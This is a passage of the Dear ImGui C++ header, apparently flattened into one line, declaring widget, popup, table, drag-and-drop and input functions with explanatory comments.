IMGUI_API bool SliderAngle(const char* label, float* v_rad, float v_degrees_min = -360.0f, float v_degrees_max = +360.0f, const char* format = "%.0f deg", ImGuiSliderFlags flags = 0); - IMGUI_API bool SliderInt(const char* label, int* v, int v_min, int v_max, const char* format = "%d", ImGuiSliderFlags flags = 0); - IMGUI_API bool SliderInt2(const char* label, int v[2], int v_min, int v_max, const char* format = "%d", ImGuiSliderFlags flags = 0); - IMGUI_API bool SliderInt3(const char* label, int v[3], int v_min, int v_max, const char* format = "%d", ImGuiSliderFlags flags = 0); - IMGUI_API bool SliderInt4(const char* label, int v[4], int v_min, int v_max, const char* format = "%d", ImGuiSliderFlags flags = 0); - IMGUI_API bool SliderScalar(const char* label, ImGuiDataType data_type, void* p_data, const void* p_min, const void* p_max, const char* format = NULL, ImGuiSliderFlags flags = 0); - IMGUI_API bool SliderScalarN(const char* label, ImGuiDataType data_type, void* p_data, int components, const void* p_min, const void* p_max, const char* format = NULL, ImGuiSliderFlags flags = 0); - IMGUI_API bool VSliderFloat(const char* label, const ImVec2& size, float* v, float v_min, float v_max, const char* format = "%.3f", ImGuiSliderFlags flags = 0); - IMGUI_API bool VSliderInt(const char* label, const ImVec2& size, int* v, int v_min, int v_max, const char* format = "%d", ImGuiSliderFlags flags = 0); - IMGUI_API bool VSliderScalar(const char* label, const ImVec2& size, ImGuiDataType data_type, void* p_data, const void* p_min, const void* p_max, const char* format = NULL, ImGuiSliderFlags flags = 0); - - // Widgets: Input with Keyboard - // - If you want to use InputText() with std::string or any custom dynamic string type, see misc/cpp/imgui_stdlib.h and comments in imgui_demo.cpp. - // - Most of the ImGuiInputTextFlags flags are only useful for InputText() and not for InputFloatX, InputIntX, InputDouble etc. - IMGUI_API bool InputText(const char* label, char* buf, size_t buf_size, ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = NULL, void* user_data = NULL); - IMGUI_API bool InputTextMultiline(const char* label, char* buf, size_t buf_size, const ImVec2& size = ImVec2(0, 0), ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = NULL, void* user_data = NULL); - IMGUI_API bool InputTextWithHint(const char* label, const char* hint, char* buf, size_t buf_size, ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = NULL, void* user_data = NULL); - IMGUI_API bool InputFloat(const char* label, float* v, float step = 0.0f, float step_fast = 0.0f, const char* format = "%.3f", ImGuiInputTextFlags flags = 0); - IMGUI_API bool InputFloat2(const char* label, float v[2], const char* format = "%.3f", ImGuiInputTextFlags flags = 0); - IMGUI_API bool InputFloat3(const char* label, float v[3], const char* format = "%.3f", ImGuiInputTextFlags flags = 0); - IMGUI_API bool InputFloat4(const char* label, float v[4], const char* format = "%.3f", ImGuiInputTextFlags flags = 0); - IMGUI_API bool InputInt(const char* label, int* v, int step = 1, int step_fast = 100, ImGuiInputTextFlags flags = 0); - IMGUI_API bool InputInt2(const char* label, int v[2], ImGuiInputTextFlags flags = 0); - IMGUI_API bool InputInt3(const char* label, int v[3], ImGuiInputTextFlags flags = 0); - IMGUI_API bool InputInt4(const char* label, int v[4], ImGuiInputTextFlags flags = 0); - IMGUI_API bool InputDouble(const char* label, double* v, double step = 0.0, double step_fast = 0.0, const char* format = "%.6f", ImGuiInputTextFlags flags = 0); - IMGUI_API bool InputScalar(const char* label, ImGuiDataType data_type, void* p_data, const void* p_step = NULL, const void* p_step_fast = NULL, const char* format = NULL, ImGuiInputTextFlags flags = 0); - IMGUI_API bool InputScalarN(const char* label, ImGuiDataType data_type, void* p_data, int components, const void* p_step = NULL, const void* p_step_fast = NULL, const char* format = NULL, ImGuiInputTextFlags flags = 0); - - // Widgets: Color Editor/Picker (tip: the ColorEdit* functions have a little color square that can be left-clicked to open a picker, and right-clicked to open an option menu.) - // - Note that in C++ a 'float v[X]' function argument is the _same_ as 'float* v', the array syntax is just a way to document the number of elements that are expected to be accessible. - // - You can pass the address of a first float element out of a contiguous structure, e.g. &myvector.x - IMGUI_API bool ColorEdit3(const char* label, float col[3], ImGuiColorEditFlags flags = 0); - IMGUI_API bool ColorEdit4(const char* label, float col[4], ImGuiColorEditFlags flags = 0); - IMGUI_API bool ColorPicker3(const char* label, float col[3], ImGuiColorEditFlags flags = 0); - IMGUI_API bool ColorPicker4(const char* label, float col[4], ImGuiColorEditFlags flags = 0, const float* ref_col = NULL); - IMGUI_API bool ColorButton(const char* desc_id, const ImVec4& col, ImGuiColorEditFlags flags = 0, ImVec2 size = ImVec2(0, 0)); // display a color square/button, hover for details, return true when pressed. - IMGUI_API void SetColorEditOptions(ImGuiColorEditFlags flags); // initialize current options (generally on application startup) if you want to select a default format, picker type, etc. User will be able to change many settings, unless you pass the _NoOptions flag to your calls. - - // Widgets: Trees - // - TreeNode functions return true when the node is open, in which case you need to also call TreePop() when you are finished displaying the tree node contents. - IMGUI_API bool TreeNode(const char* label); - IMGUI_API bool TreeNode(const char* str_id, const char* fmt, ...) IM_FMTARGS(2); // helper variation to easily decorelate the id from the displayed string. Read the FAQ about why and how to use ID. to align arbitrary text at the same level as a TreeNode() you can use Bullet(). - IMGUI_API bool TreeNode(const void* ptr_id, const char* fmt, ...) IM_FMTARGS(2); // " - IMGUI_API bool TreeNodeV(const char* str_id, const char* fmt, va_list args) IM_FMTLIST(2); - IMGUI_API bool TreeNodeV(const void* ptr_id, const char* fmt, va_list args) IM_FMTLIST(2); - IMGUI_API bool TreeNodeEx(const char* label, ImGuiTreeNodeFlags flags = 0); - IMGUI_API bool TreeNodeEx(const char* str_id, ImGuiTreeNodeFlags flags, const char* fmt, ...) IM_FMTARGS(3); - IMGUI_API bool TreeNodeEx(const void* ptr_id, ImGuiTreeNodeFlags flags, const char* fmt, ...) IM_FMTARGS(3); - IMGUI_API bool TreeNodeExV(const char* str_id, ImGuiTreeNodeFlags flags, const char* fmt, va_list args) IM_FMTLIST(3); - IMGUI_API bool TreeNodeExV(const void* ptr_id, ImGuiTreeNodeFlags flags, const char* fmt, va_list args) IM_FMTLIST(3); - IMGUI_API void TreePush(const char* str_id); // ~ Indent()+PushId(). Already called by TreeNode() when returning true, but you can call TreePush/TreePop yourself if desired. - IMGUI_API void TreePush(const void* ptr_id = NULL); // " - IMGUI_API void TreePop(); // ~ Unindent()+PopId() - IMGUI_API float GetTreeNodeToLabelSpacing(); // horizontal distance preceding label when using TreeNode*() or Bullet() == (g.FontSize + style.FramePadding.x*2) for a regular unframed TreeNode - IMGUI_API bool CollapsingHeader(const char* label, ImGuiTreeNodeFlags flags = 0); // if returning 'true' the header is open. doesn't indent nor push on ID stack. user doesn't have to call TreePop(). - IMGUI_API bool CollapsingHeader(const char* label, bool* p_visible, ImGuiTreeNodeFlags flags = 0); // when 'p_visible != NULL': if '*p_visible==true' display an additional small close button on upper right of the header which will set the bool to false when clicked, if '*p_visible==false' don't display the header. - IMGUI_API void SetNextItemOpen(bool is_open, ImGuiCond cond = 0); // set next TreeNode/CollapsingHeader open state. - - // Widgets: Selectables - // - A selectable highlights when hovered, and can display another color when selected. - // - Neighbors selectable extend their highlight bounds in order to leave no gap between them. This is so a series of selected Selectable appear contiguous. - IMGUI_API bool Selectable(const char* label, bool selected = false, ImGuiSelectableFlags flags = 0, const ImVec2& size = ImVec2(0, 0)); // "bool selected" carry the selection state (read-only). Selectable() is clicked is returns true so you can modify your selection state. size.x==0.0: use remaining width, size.x>0.0: specify width. size.y==0.0: use label height, size.y>0.0: specify height - IMGUI_API bool Selectable(const char* label, bool* p_selected, ImGuiSelectableFlags flags = 0, const ImVec2& size = ImVec2(0, 0)); // "bool* p_selected" point to the selection state (read-write), as a convenient helper. - - // Widgets: List Boxes - // - This is essentially a thin wrapper to using BeginChild/EndChild with some stylistic changes. - // - The BeginListBox()/EndListBox() api allows you to manage your contents and selection state however you want it, by creating e.g. Selectable() or any items. - // - The simplified/old ListBox() api are helpers over BeginListBox()/EndListBox() which are kept available for convenience purpose. This is analoguous to how Combos are created. - // - Choose frame width: size.x > 0.0f: custom / size.x < 0.0f or -FLT_MIN: right-align / size.x = 0.0f (default): use current ItemWidth - // - Choose frame height: size.y > 0.0f: custom / size.y < 0.0f or -FLT_MIN: bottom-align / size.y = 0.0f (default): arbitrary default height which can fit ~7 items - IMGUI_API bool BeginListBox(const char* label, const ImVec2& size = ImVec2(0, 0)); // open a framed scrolling region - IMGUI_API void EndListBox(); // only call EndListBox() if BeginListBox() returned true! - IMGUI_API bool ListBox(const char* label, int* current_item, const char* const items[], int items_count, int height_in_items = -1); - IMGUI_API bool ListBox(const char* label, int* current_item, bool (*items_getter)(void* data, int idx, const char** out_text), void* data, int items_count, int height_in_items = -1); - - // Widgets: Data Plotting - // - Consider using ImPlot (https://github.com/epezent/implot) - IMGUI_API void PlotLines(const char* label, const float* values, int values_count, int values_offset = 0, const char* overlay_text = NULL, float scale_min = FLT_MAX, float scale_max = FLT_MAX, ImVec2 graph_size = ImVec2(0, 0), int stride = sizeof(float)); - IMGUI_API void PlotLines(const char* label, float(*values_getter)(void* data, int idx), void* data, int values_count, int values_offset = 0, const char* overlay_text = NULL, float scale_min = FLT_MAX, float scale_max = FLT_MAX, ImVec2 graph_size = ImVec2(0, 0)); - IMGUI_API void PlotHistogram(const char* label, const float* values, int values_count, int values_offset = 0, const char* overlay_text = NULL, float scale_min = FLT_MAX, float scale_max = FLT_MAX, ImVec2 graph_size = ImVec2(0, 0), int stride = sizeof(float)); - IMGUI_API void PlotHistogram(const char* label, float(*values_getter)(void* data, int idx), void* data, int values_count, int values_offset = 0, const char* overlay_text = NULL, float scale_min = FLT_MAX, float scale_max = FLT_MAX, ImVec2 graph_size = ImVec2(0, 0)); - - // Widgets: Value() Helpers. - // - Those are merely shortcut to calling Text() with a format string. Output single value in "name: value" format (tip: freely declare more in your code to handle your types. you can add functions to the ImGui namespace) - IMGUI_API void Value(const char* prefix, bool b); - IMGUI_API void Value(const char* prefix, int v); - IMGUI_API void Value(const char* prefix, unsigned int v); - IMGUI_API void Value(const char* prefix, float v, const char* float_format = NULL); - - // Widgets: Menus - // - Use BeginMenuBar() on a window ImGuiWindowFlags_MenuBar to append to its menu bar. - // - Use BeginMainMenuBar() to create a menu bar at the top of the screen and append to it. - // - Use BeginMenu() to create a menu. You can call BeginMenu() multiple time with the same identifier to append more items to it. - IMGUI_API bool BeginMenuBar(); // append to menu-bar of current window (requires ImGuiWindowFlags_MenuBar flag set on parent window). - IMGUI_API void EndMenuBar(); // only call EndMenuBar() if BeginMenuBar() returns true! - IMGUI_API bool BeginMainMenuBar(); // create and append to a full screen menu-bar. - IMGUI_API void EndMainMenuBar(); // only call EndMainMenuBar() if BeginMainMenuBar() returns true! - IMGUI_API bool BeginMenu(const char* label, bool enabled = true); // create a sub-menu entry. only call EndMenu() if this returns true! - IMGUI_API void EndMenu(); // only call EndMenu() if BeginMenu() returns true! - IMGUI_API bool MenuItem(const char* label, const char* shortcut = NULL, bool selected = false, bool enabled = true); // return true when activated. shortcuts are displayed for convenience but not processed by ImGui at the moment - IMGUI_API bool MenuItem(const char* label, const char* shortcut, bool* p_selected, bool enabled = true); // return true when activated + toggle (*p_selected) if p_selected != NULL - - // Tooltips - // - Tooltip are windows following the mouse. They do not take focus away. - IMGUI_API void BeginTooltip(); // begin/append a tooltip window. to create full-featured tooltip (with any kind of items). - IMGUI_API void EndTooltip(); - IMGUI_API void SetTooltip(const char* fmt, ...) IM_FMTARGS(1); // set a text-only tooltip, typically use with ImGui::IsItemHovered(). override any previous call to SetTooltip(). - IMGUI_API void SetTooltipV(const char* fmt, va_list args) IM_FMTLIST(1); - - // Popups, Modals - // - They block normal mouse hovering detection (and therefore most mouse interactions) behind them. - // - If not modal: they can be closed by clicking anywhere outside them, or by pressing ESCAPE. - // - Their visibility state (~bool) is held internally instead of being held by the programmer as we are used to with regular Begin*() calls. - // - The 3 properties above are related: we need to retain popup visibility state in the library because popups may be closed as any time. - // - You can bypass the hovering restriction by using ImGuiHoveredFlags_AllowWhenBlockedByPopup when calling IsItemHovered() or IsWindowHovered(). - // - IMPORTANT: Popup identifiers are relative to the current ID stack, so OpenPopup and BeginPopup generally needs to be at the same level of the stack. - // This is sometimes leading to confusing mistakes. May rework this in the future. - // Popups: begin/end functions - // - BeginPopup(): query popup state, if open start appending into the window. Call EndPopup() afterwards. ImGuiWindowFlags are forwarded to the window. - // - BeginPopupModal(): block every interactions behind the window, cannot be closed by user, add a dimming background, has a title bar. - IMGUI_API bool BeginPopup(const char* str_id, ImGuiWindowFlags flags = 0); // return true if the popup is open, and you can start outputting to it. - IMGUI_API bool BeginPopupModal(const char* name, bool* p_open = NULL, ImGuiWindowFlags flags = 0); // return true if the modal is open, and you can start outputting to it. - IMGUI_API void EndPopup(); // only call EndPopup() if BeginPopupXXX() returns true! - // Popups: open/close functions - // - OpenPopup(): set popup state to open. ImGuiPopupFlags are available for opening options. - // - If not modal: they can be closed by clicking anywhere outside them, or by pressing ESCAPE. - // - CloseCurrentPopup(): use inside the BeginPopup()/EndPopup() scope to close manually. - // - CloseCurrentPopup() is called by default by Selectable()/MenuItem() when activated (FIXME: need some options). - // - Use ImGuiPopupFlags_NoOpenOverExistingPopup to avoid opening a popup if there's already one at the same level. This is equivalent to e.g. testing for !IsAnyPopupOpen() prior to OpenPopup(). - IMGUI_API void OpenPopup(const char* str_id, ImGuiPopupFlags popup_flags = 0); // call to mark popup as open (don't call every frame!). - IMGUI_API void OpenPopupOnItemClick(const char* str_id = NULL, ImGuiPopupFlags popup_flags = 1); // helper to open popup when clicked on last item. return true when just opened. (note: actually triggers on the mouse _released_ event to be consistent with popup behaviors) - IMGUI_API void CloseCurrentPopup(); // manually close the popup we have begin-ed into. - // Popups: open+begin combined functions helpers - // - Helpers to do OpenPopup+BeginPopup where the Open action is triggered by e.g. hovering an item and right-clicking. - // - They are convenient to easily create context menus, hence the name. - // - IMPORTANT: Notice that BeginPopupContextXXX takes ImGuiPopupFlags just like OpenPopup() and unlike BeginPopup(). For full consistency, we may add ImGuiWindowFlags to the BeginPopupContextXXX functions in the future. - // - IMPORTANT: we exceptionally default their flags to 1 (== ImGuiPopupFlags_MouseButtonRight) for backward compatibility with older API taking 'int mouse_button = 1' parameter, so if you add other flags remember to re-add the ImGuiPopupFlags_MouseButtonRight. - IMGUI_API bool BeginPopupContextItem(const char* str_id = NULL, ImGuiPopupFlags popup_flags = 1); // open+begin popup when clicked on last item. if you can pass a NULL str_id only if the previous item had an id. If you want to use that on a non-interactive item such as Text() you need to pass in an explicit ID here. read comments in .cpp! - IMGUI_API bool BeginPopupContextWindow(const char* str_id = NULL, ImGuiPopupFlags popup_flags = 1);// open+begin popup when clicked on current window. - IMGUI_API bool BeginPopupContextVoid(const char* str_id = NULL, ImGuiPopupFlags popup_flags = 1); // open+begin popup when clicked in void (where there are no windows). - // Popups: test function - // - IsPopupOpen(): return true if the popup is open at the current BeginPopup() level of the popup stack. - // - IsPopupOpen() with ImGuiPopupFlags_AnyPopupId: return true if any popup is open at the current BeginPopup() level of the popup stack. - // - IsPopupOpen() with ImGuiPopupFlags_AnyPopupId + ImGuiPopupFlags_AnyPopupLevel: return true if any popup is open. - IMGUI_API bool IsPopupOpen(const char* str_id, ImGuiPopupFlags flags = 0); // return true if the popup is open. - - // Tables - // [BETA API] API may evolve slightly! If you use this, please update to the next version when it comes out! - // - Full-featured replacement for old Columns API. - // - See Demo->Tables for demo code. - // - See top of imgui_tables.cpp for general commentary. - // - See ImGuiTableFlags_ and ImGuiTableColumnFlags_ enums for a description of available flags. - // The typical call flow is: - // - 1. Call BeginTable(). - // - 2. Optionally call TableSetupColumn() to submit column name/flags/defaults. - // - 3. Optionally call TableSetupScrollFreeze() to request scroll freezing of columns/rows. - // - 4. Optionally call TableHeadersRow() to submit a header row. Names are pulled from TableSetupColumn() data. - // - 5. Populate contents: - // - In most situations you can use TableNextRow() + TableSetColumnIndex(N) to start appending into a column. - // - If you are using tables as a sort of grid, where every columns is holding the same type of contents, - // you may prefer using TableNextColumn() instead of TableNextRow() + TableSetColumnIndex(). - // TableNextColumn() will automatically wrap-around into the next row if needed. - // - IMPORTANT: Comparatively to the old Columns() API, we need to call TableNextColumn() for the first column! - // - Summary of possible call flow: - // -------------------------------------------------------------------------------------------------------- - // TableNextRow() -> TableSetColumnIndex(0) -> Text("Hello 0") -> TableSetColumnIndex(1) -> Text("Hello 1") // OK - // TableNextRow() -> TableNextColumn() -> Text("Hello 0") -> TableNextColumn() -> Text("Hello 1") // OK - // TableNextColumn() -> Text("Hello 0") -> TableNextColumn() -> Text("Hello 1") // OK: TableNextColumn() automatically gets to next row! - // TableNextRow() -> Text("Hello 0") // Not OK! Missing TableSetColumnIndex() or TableNextColumn()! Text will not appear! - // -------------------------------------------------------------------------------------------------------- - // - 5. Call EndTable() - IMGUI_API bool BeginTable(const char* str_id, int column, ImGuiTableFlags flags = 0, const ImVec2& outer_size = ImVec2(0.0f, 0.0f), float inner_width = 0.0f); - IMGUI_API void EndTable(); // only call EndTable() if BeginTable() returns true! - IMGUI_API void TableNextRow(ImGuiTableRowFlags row_flags = 0, float min_row_height = 0.0f); // append into the first cell of a new row. - IMGUI_API bool TableNextColumn(); // append into the next column (or first column of next row if currently in last column). Return true when column is visible. - IMGUI_API bool TableSetColumnIndex(int column_n); // append into the specified column. Return true when column is visible. - // Tables: Headers & Columns declaration - // - Use TableSetupColumn() to specify label, resizing policy, default width/weight, id, various other flags etc. - // - Use TableHeadersRow() to create a header row and automatically submit a TableHeader() for each column. - // Headers are required to perform: reordering, sorting, and opening the context menu. - // The context menu can also be made available in columns body using ImGuiTableFlags_ContextMenuInBody. - // - You may manually submit headers using TableNextRow() + TableHeader() calls, but this is only useful in - // some advanced use cases (e.g. adding custom widgets in header row). - // - Use TableSetupScrollFreeze() to lock columns/rows so they stay visible when scrolled. - IMGUI_API void TableSetupColumn(const char* label, ImGuiTableColumnFlags flags = 0, float init_width_or_weight = 0.0f, ImGuiID user_id = 0); - IMGUI_API void TableSetupScrollFreeze(int cols, int rows); // lock columns/rows so they stay visible when scrolled. - IMGUI_API void TableHeadersRow(); // submit all headers cells based on data provided to TableSetupColumn() + submit context menu - IMGUI_API void TableHeader(const char* label); // submit one header cell manually (rarely used) - // Tables: Sorting - // - Call TableGetSortSpecs() to retrieve latest sort specs for the table. NULL when not sorting. - // - When 'SpecsDirty == true' you should sort your data. It will be true when sorting specs have changed - // since last call, or the first time. Make sure to set 'SpecsDirty = false' after sorting, else you may - // wastefully sort your data every frame! - // - Lifetime: don't hold on this pointer over multiple frames or past any subsequent call to BeginTable(). - IMGUI_API ImGuiTableSortSpecs* TableGetSortSpecs(); // get latest sort specs for the table (NULL if not sorting). - // Tables: Miscellaneous functions - // - Functions args 'int column_n' treat the default value of -1 as the same as passing the current column index. - IMGUI_API int TableGetColumnCount(); // return number of columns (value passed to BeginTable) - IMGUI_API int TableGetColumnIndex(); // return current column index. - IMGUI_API int TableGetRowIndex(); // return current row index. - IMGUI_API const char* TableGetColumnName(int column_n = -1); // return "" if column didn't have a name declared by TableSetupColumn(). Pass -1 to use current column. - IMGUI_API ImGuiTableColumnFlags TableGetColumnFlags(int column_n = -1); // return column flags so you can query their Enabled/Visible/Sorted/Hovered status flags. Pass -1 to use current column. - IMGUI_API void TableSetBgColor(ImGuiTableBgTarget target, ImU32 color, int column_n = -1); // change the color of a cell, row, or column. See ImGuiTableBgTarget_ flags for details. - - // Legacy Columns API (2020: prefer using Tables!) - // - You can also use SameLine(pos_x) to mimic simplified columns. - IMGUI_API void Columns(int count = 1, const char* id = NULL, bool border = true); - IMGUI_API void NextColumn(); // next column, defaults to current row or next row if the current row is finished - IMGUI_API int GetColumnIndex(); // get current column index - IMGUI_API float GetColumnWidth(int column_index = -1); // get column width (in pixels). pass -1 to use current column - IMGUI_API void SetColumnWidth(int column_index, float width); // set column width (in pixels). pass -1 to use current column - IMGUI_API float GetColumnOffset(int column_index = -1); // get position of column line (in pixels, from the left side of the contents region). pass -1 to use current column, otherwise 0..GetColumnsCount() inclusive. column 0 is typically 0.0f - IMGUI_API void SetColumnOffset(int column_index, float offset_x); // set position of column line (in pixels, from the left side of the contents region). pass -1 to use current column - IMGUI_API int GetColumnsCount(); - - // Tab Bars, Tabs - IMGUI_API bool BeginTabBar(const char* str_id, ImGuiTabBarFlags flags = 0); // create and append into a TabBar - IMGUI_API void EndTabBar(); // only call EndTabBar() if BeginTabBar() returns true! - IMGUI_API bool BeginTabItem(const char* label, bool* p_open = NULL, ImGuiTabItemFlags flags = 0); // create a Tab. Returns true if the Tab is selected. - IMGUI_API void EndTabItem(); // only call EndTabItem() if BeginTabItem() returns true! - IMGUI_API bool TabItemButton(const char* label, ImGuiTabItemFlags flags = 0); // create a Tab behaving like a button. return true when clicked. cannot be selected in the tab bar. - IMGUI_API void SetTabItemClosed(const char* tab_or_docked_window_label); // notify TabBar or Docking system of a closed tab/window ahead (useful to reduce visual flicker on reorderable tab bars). For tab-bar: call after BeginTabBar() and before Tab submissions. Otherwise call with a window name. - - // Logging/Capture - // - All text output from the interface can be captured into tty/file/clipboard. By default, tree nodes are automatically opened during logging. - IMGUI_API void LogToTTY(int auto_open_depth = -1); // start logging to tty (stdout) - IMGUI_API void LogToFile(int auto_open_depth = -1, const char* filename = NULL); // start logging to file - IMGUI_API void LogToClipboard(int auto_open_depth = -1); // start logging to OS clipboard - IMGUI_API void LogFinish(); // stop logging (close file, etc.) - IMGUI_API void LogButtons(); // helper to display buttons for logging to tty/file/clipboard - IMGUI_API void LogText(const char* fmt, ...) IM_FMTARGS(1); // pass text data straight to log (without being displayed) - IMGUI_API void LogTextV(const char* fmt, va_list args) IM_FMTLIST(1); - - // Drag and Drop - // - On source items, call BeginDragDropSource(), if it returns true also call SetDragDropPayload() + EndDragDropSource(). - // - On target candidates, call BeginDragDropTarget(), if it returns true also call AcceptDragDropPayload() + EndDragDropTarget(). - // - If you stop calling BeginDragDropSource() the payload is preserved however it won't have a preview tooltip (we currently display a fallback "..." tooltip, see #1725) - // - An item can be both drag source and drop target. - IMGUI_API bool BeginDragDropSource(ImGuiDragDropFlags flags = 0); // call after submitting an item which may be dragged. when this return true, you can call SetDragDropPayload() + EndDragDropSource() - IMGUI_API bool SetDragDropPayload(const char* type, const void* data, size_t sz, ImGuiCond cond = 0); // type is a user defined string of maximum 32 characters. Strings starting with '_' are reserved for dear imgui internal types. Data is copied and held by imgui. - IMGUI_API void EndDragDropSource(); // only call EndDragDropSource() if BeginDragDropSource() returns true! - IMGUI_API bool BeginDragDropTarget(); // call after submitting an item that may receive a payload. If this returns true, you can call AcceptDragDropPayload() + EndDragDropTarget() - IMGUI_API const ImGuiPayload* AcceptDragDropPayload(const char* type, ImGuiDragDropFlags flags = 0); // accept contents of a given type. If ImGuiDragDropFlags_AcceptBeforeDelivery is set you can peek into the payload before the mouse button is released. - IMGUI_API void EndDragDropTarget(); // only call EndDragDropTarget() if BeginDragDropTarget() returns true! - IMGUI_API const ImGuiPayload* GetDragDropPayload(); // peek directly into the current payload from anywhere. may return NULL. use ImGuiPayload::IsDataType() to test for the payload type. - - // Clipping - // - Mouse hovering is affected by ImGui::PushClipRect() calls, unlike direct calls to ImDrawList::PushClipRect() which are render only. - IMGUI_API void PushClipRect(const ImVec2& clip_rect_min, const ImVec2& clip_rect_max, bool intersect_with_current_clip_rect); - IMGUI_API void PopClipRect(); - - // Focus, Activation - // - Prefer using "SetItemDefaultFocus()" over "if (IsWindowAppearing()) SetScrollHereY()" when applicable to signify "this is the default item" - IMGUI_API void SetItemDefaultFocus(); // make last item the default focused item of a window. - IMGUI_API void SetKeyboardFocusHere(int offset = 0); // focus keyboard on the next widget. Use positive 'offset' to access sub components of a multiple component widget. Use -1 to access previous widget. - - // Item/Widgets Utilities - // - Most of the functions are referring to the previous Item that has been submitted. - // - See Demo Window under "Widgets->Querying Status" for an interactive visualization of most of those functions. - IMGUI_API bool IsItemHovered(ImGuiHoveredFlags flags = 0); // is the last item hovered? (and usable, aka not blocked by a popup, etc.). See ImGuiHoveredFlags for more options. - IMGUI_API bool IsItemActive(); // is the last item active? (e.g. button being held, text field being edited. This will continuously return true while holding mouse button on an item. Items that don't interact will always return false) - IMGUI_API bool IsItemFocused(); // is the last item focused for keyboard/gamepad navigation? - IMGUI_API bool IsItemClicked(ImGuiMouseButton mouse_button = 0); // is the last item hovered and mouse clicked on? (**) == IsMouseClicked(mouse_button) && IsItemHovered()Important. (**) this it NOT equivalent to the behavior of e.g. Button(). Read comments in function definition. - IMGUI_API bool IsItemVisible(); // is the last item visible? (items may be out of sight because of clipping/scrolling) - IMGUI_API bool IsItemEdited(); // did the last item modify its underlying value this frame? or was pressed? This is generally the same as the "bool" return value of many widgets. - IMGUI_API bool IsItemActivated(); // was the last item just made active (item was previously inactive). - IMGUI_API bool IsItemDeactivated(); // was the last item just made inactive (item was previously active). Useful for Undo/Redo patterns with widgets that requires continuous editing. - IMGUI_API bool IsItemDeactivatedAfterEdit(); // was the last item just made inactive and made a value change when it was active? (e.g. Slider/Drag moved). Useful for Undo/Redo patterns with widgets that requires continuous editing. Note that you may get false positives (some widgets such as Combo()/ListBox()/Selectable() will return true even when clicking an already selected item). - IMGUI_API bool IsItemToggledOpen(); // was the last item open state toggled? set by TreeNode(). - IMGUI_API bool IsAnyItemHovered(); // is any item hovered? - IMGUI_API bool IsAnyItemActive(); // is any item active? - IMGUI_API bool IsAnyItemFocused(); // is any item focused? - IMGUI_API ImVec2 GetItemRectMin(); // get upper-left bounding rectangle of the last item (screen space) - IMGUI_API ImVec2 GetItemRectMax(); // get lower-right bounding rectangle of the last item (screen space) - IMGUI_API ImVec2 GetItemRectSize(); // get size of last item - IMGUI_API void SetItemAllowOverlap(); // allow last item to be overlapped by a subsequent item. sometimes useful with invisible buttons, selectables, etc. to catch unused area. - - // Viewports - // - Currently represents the Platform Window created by the application which is hosting our Dear ImGui windows. - // - In 'docking' branch with multi-viewport enabled, we extend this concept to have multiple active viewports. - // - In the future we will extend this concept further to also represent Platform Monitor and support a "no main platform window" operation mode. - IMGUI_API ImGuiViewport* GetMainViewport(); // return primary/default viewport. - - // Miscellaneous Utilities - IMGUI_API bool IsRectVisible(const ImVec2& size); // test if rectangle (of given size, starting from cursor position) is visible / not clipped. - IMGUI_API bool IsRectVisible(const ImVec2& rect_min, const ImVec2& rect_max); // test if rectangle (in screen space) is visible / not clipped. to perform coarse clipping on user's side. - IMGUI_API double GetTime(); // get global imgui time. incremented by io.DeltaTime every frame. - IMGUI_API int GetFrameCount(); // get global imgui frame count. incremented by 1 every frame. - IMGUI_API ImDrawList* GetBackgroundDrawList(); // this draw list will be the first rendering one. Useful to quickly draw shapes/text behind dear imgui contents. - IMGUI_API ImDrawList* GetForegroundDrawList(); // this draw list will be the last rendered one. Useful to quickly draw shapes/text over dear imgui contents. - IMGUI_API ImDrawListSharedData* GetDrawListSharedData(); // you may use this when creating your own ImDrawList instances. - IMGUI_API const char* GetStyleColorName(ImGuiCol idx); // get a string corresponding to the enum value (for display, saving, etc.). - IMGUI_API void SetStateStorage(ImGuiStorage* storage); // replace current window storage with our own (if you want to manipulate it yourself, typically clear subsection of it) - IMGUI_API ImGuiStorage* GetStateStorage(); - IMGUI_API void CalcListClipping(int items_count, float items_height, int* out_items_display_start, int* out_items_display_end); // calculate coarse clipping for large list of evenly sized items. Prefer using the ImGuiListClipper higher-level helper if you can. - IMGUI_API bool BeginChildFrame(ImGuiID id, const ImVec2& size, ImGuiWindowFlags flags = 0); // helper to create a child window / scrolling region that looks like a normal widget frame - IMGUI_API void EndChildFrame(); // always call EndChildFrame() regardless of BeginChildFrame() return values (which indicates a collapsed/clipped window) - - // Text Utilities - IMGUI_API ImVec2 CalcTextSize(const char* text, const char* text_end = NULL, bool hide_text_after_double_hash = false, float wrap_width = -1.0f); - - // Color Utilities - IMGUI_API ImVec4 ColorConvertU32ToFloat4(ImU32 in); - IMGUI_API ImU32 ColorConvertFloat4ToU32(const ImVec4& in); - IMGUI_API void ColorConvertRGBtoHSV(float r, float g, float b, float& out_h, float& out_s, float& out_v); - IMGUI_API void ColorConvertHSVtoRGB(float h, float s, float v, float& out_r, float& out_g, float& out_b); - - // Inputs Utilities: Keyboard - // - For 'int user_key_index' you can use your own indices/enums according to how your backend/engine stored them in io.KeysDown[]. - // - We don't know the meaning of those value. You can use GetKeyIndex() to map a ImGuiKey_ value into the user index. - IMGUI_API int GetKeyIndex(ImGuiKey imgui_key); // map ImGuiKey_* values into user's key index. == io.KeyMap[key] - IMGUI_API bool IsKeyDown(int user_key_index); // is key being held. == io.KeysDown[user_key_index]. - IMGUI_API bool IsKeyPressed(int user_key_index, bool repeat = true); // was key pressed (went from !Down to Down)? if repeat=true, uses io.KeyRepeatDelay / KeyRepeatRate - IMGUI_API bool IsKeyReleased(int user_key_index); // was key released (went from Down to !Down)? - IMGUI_API int GetKeyPressedAmount(int key_index, float repeat_delay, float rate); // uses provided repeat rate/delay. return a count, most often 0 or 1 but might be >1 if RepeatRate is small enough that DeltaTime > RepeatRate - IMGUI_API void CaptureKeyboardFromApp(bool want_capture_keyboard_value = true); // attention: misleading name! manually override io.WantCaptureKeyboard flag next frame (said flag is entirely left for your application to handle). e.g. force capture keyboard when your widget is being hovered. This is equivalent to setting "io.WantCaptureKeyboard = want_capture_keyboard_value"; after the next NewFrame() call. - - // Inputs Utilities: Mouse - // - To refer to a mouse button, you may use named enums in your code e.g. ImGuiMouseButton_Left, ImGuiMouseButton_Right. - // - You can also use regular integer: it is forever guaranteed that 0=Left, 1=Right, 2=Middle. - // - Dragging operations are only reported after mouse has moved a certain distance away from the initial clicking position (see 'lock_threshold' and 'io.MouseDraggingThreshold') - IMGUI_API bool 